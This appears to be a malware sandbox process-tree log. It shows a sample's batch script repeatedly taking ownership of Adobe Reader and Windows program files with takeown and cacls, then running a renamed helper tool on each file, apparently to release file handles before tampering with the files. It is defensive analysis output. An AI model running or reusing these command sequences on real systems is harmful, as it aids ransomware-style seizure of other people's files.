C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\MinionPro-Bold.otf"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c VjYf8Dv0.exe -accepteula "MinionPro-Bold.otf" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula "MinionPro-Bold.otf" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\PFM\zy______.pfm""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\PFM\zy______.pfm" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\PFM\zy______.pfm"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c VjYf8Dv0.exe -accepteula "zy______.pfm" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula "zy______.pfm" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\brt.fca""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\brt.fca" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\brt.fca"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c VjYf8Dv0.exe -accepteula "brt.fca" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula "brt.fca" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\eng.hyp""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\eng.hyp" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\eng.hyp"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c VjYf8Dv0.exe -accepteula "eng.hyp" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula "eng.hyp" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Adobe\zdingbat.txt""2⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Adobe\zdingbat.txt" /E /G Admin:F /C3⤵
- System Location Discovery: System Language Discovery
- System Network Configuration Discovery: Internet Connection Discovery
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Adobe\zdingbat.txt"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c VjYf8Dv0.exe -accepteula "zdingbat.txt" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula "zdingbat.txt" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\TURKISH.TXT""2⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\TURKISH.TXT" /E /G Admin:F /C3⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\TURKISH.TXT"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c VjYf8Dv0.exe -accepteula "TURKISH.TXT" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula "TURKISH.TXT" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\Program Files (x86)\Windows Mail\es-ES\msoeres.dll.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Windows Mail\es-ES\msoeres.dll.mui" /E /G Admin:F /C3⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Windows Mail\es-ES\msoeres.dll.mui"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c VjYf8Dv0.exe -accepteula "msoeres.dll.mui" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula "msoeres.dll.mui" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\Program Files (x86)\Windows Mail\WinMail.exe""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Windows Mail\WinMail.exe" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Windows Mail\WinMail.exe"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c VjYf8Dv0.exe -accepteula "WinMail.exe" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula "WinMail.exe" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\Program Files (x86)\Windows Photo Viewer\fr-FR\ImagingDevices.exe.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Windows Photo Viewer\fr-FR\ImagingDevices.exe.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Windows Photo Viewer\fr-FR\ImagingDevices.exe.mui"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c VjYf8Dv0.exe -accepteula "ImagingDevices.exe.mui" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula "ImagingDevices.exe.mui" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\ProgramData\Adobe\Acrobat\9.0\Replicate\Security\directories.acrodata""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Adobe\Acrobat\9.0\Replicate\Security\directories.acrodata" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Adobe\Acrobat\9.0\Replicate\Security\directories.acrodata"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c VjYf8Dv0.exe -accepteula "directories.acrodata" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula "directories.acrodata" -nobanner4⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.5\Workflow.VisualBasic.Targets""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.5\Workflow.VisualBasic.Targets" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.5\Workflow.VisualBasic.Targets"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c VjYf8Dv0.exe -accepteula "Workflow.VisualBasic.Targets" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula "Workflow.VisualBasic.Targets" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\Program Files (x86)\Windows Mail\es-ES\WinMail.exe.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Windows Mail\es-ES\WinMail.exe.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Windows Mail\es-ES\WinMail.exe.mui"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c VjYf8Dv0.exe -accepteula "WinMail.exe.mui" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula "WinMail.exe.mui" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\Program Files (x86)\Windows Photo Viewer\de-DE\ImagingDevices.exe.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Windows Photo Viewer\de-DE\ImagingDevices.exe.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Windows Photo Viewer\de-DE\ImagingDevices.exe.mui"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c VjYf8Dv0.exe -accepteula "ImagingDevices.exe.mui" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula "ImagingDevices.exe.mui" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\Program Files (x86)\Windows Photo Viewer\fr-FR\PhotoAcq.dll.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Windows Photo Viewer\fr-FR\PhotoAcq.dll.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Windows Photo Viewer\fr-FR\PhotoAcq.dll.mui"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c VjYf8Dv0.exe -accepteula "PhotoAcq.dll.mui" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula "PhotoAcq.dll.mui" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\Program Files\Microsoft Games\Mahjong\MahjongMCE.png""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Microsoft Games\Mahjong\MahjongMCE.png" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Microsoft Games\Mahjong\MahjongMCE.png"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c VjYf8Dv0.exe -accepteula "MahjongMCE.png" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula "MahjongMCE.png" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\Program Files\Windows Journal\de-DE\PDIALOG.exe.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Journal\de-DE\PDIALOG.exe.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Journal\de-DE\PDIALOG.exe.mui"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c VjYf8Dv0.exe -accepteula "PDIALOG.exe.mui" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula "PDIALOG.exe.mui" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\Program Files\Windows Journal\es-ES\jnwmon.dll.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Journal\es-ES\jnwmon.dll.mui" /E /G Admin:F /C3⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Journal\es-ES\jnwmon.dll.mui"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c VjYf8Dv0.exe -accepteula "jnwmon.dll.mui" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula "jnwmon.dll.mui" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\Program Files\Windows Journal\fr-FR\NBMapTIP.dll.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Journal\fr-FR\NBMapTIP.dll.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Journal\fr-FR\NBMapTIP.dll.mui"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c VjYf8Dv0.exe -accepteula "NBMapTIP.dll.mui" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula "NBMapTIP.dll.mui" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\Program Files\Windows Journal\ja-JP\jnwdui.dll.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Journal\ja-JP\jnwdui.dll.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Journal\ja-JP\jnwdui.dll.mui"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c VjYf8Dv0.exe -accepteula "jnwdui.dll.mui" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula "jnwdui.dll.mui" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\Program Files\Windows Journal\Templates\Genko_1.jtp""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Journal\Templates\Genko_1.jtp" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Journal\Templates\Genko_1.jtp"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c VjYf8Dv0.exe -accepteula "Genko_1.jtp" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula "Genko_1.jtp" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\Program Files\Windows Mail\de-DE\WinMail.exe.mui""2⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Mail\de-DE\WinMail.exe.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Mail\de-DE\WinMail.exe.mui"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c VjYf8Dv0.exe -accepteula "WinMail.exe.mui" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula "WinMail.exe.mui" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\Program Files\Windows Mail\ja-JP\WinMail.exe.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Mail\ja-JP\WinMail.exe.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Mail\ja-JP\WinMail.exe.mui"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c VjYf8Dv0.exe -accepteula "WinMail.exe.mui" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula "WinMail.exe.mui" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\Program Files\Windows Photo Viewer\es-ES\ImagingDevices.exe.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Photo Viewer\es-ES\ImagingDevices.exe.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Photo Viewer\es-ES\ImagingDevices.exe.mui"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c VjYf8Dv0.exe -accepteula "ImagingDevices.exe.mui" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula "ImagingDevices.exe.mui" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\Program Files\Windows Photo Viewer\ja-JP\ImagingDevices.exe.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Photo Viewer\ja-JP\ImagingDevices.exe.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Photo Viewer\ja-JP\ImagingDevices.exe.mui"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c VjYf8Dv0.exe -accepteula "ImagingDevices.exe.mui" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula "ImagingDevices.exe.mui" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AGMGPUOptIn.ini""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AGMGPUOptIn.ini" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AGMGPUOptIn.ini"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c VjYf8Dv0.exe -accepteula "AGMGPUOptIn.ini" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula "AGMGPUOptIn.ini" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins3d\prc\MyriadCAD.otf""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins3d\prc\MyriadCAD.otf" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins3d\prc\MyriadCAD.otf"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c VjYf8Dv0.exe -accepteula "MyriadCAD.otf" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula "MyriadCAD.otf" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\create_form.gif""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\create_form.gif" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\create_form.gif"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c VjYf8Dv0.exe -accepteula "create_form.gif" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula "create_form.gif" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\info.gif""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\info.gif" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\info.gif"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c VjYf8Dv0.exe -accepteula "info.gif" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula "info.gif" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\review_same_reviewers.gif""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\review_same_reviewers.gif" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\review_same_reviewers.gif"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c VjYf8Dv0.exe -accepteula "review_same_reviewers.gif" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula "review_same_reviewers.gif" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\trash.gif""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\trash.gif" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\trash.gif"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c VjYf8Dv0.exe -accepteula "trash.gif" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula "trash.gif" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
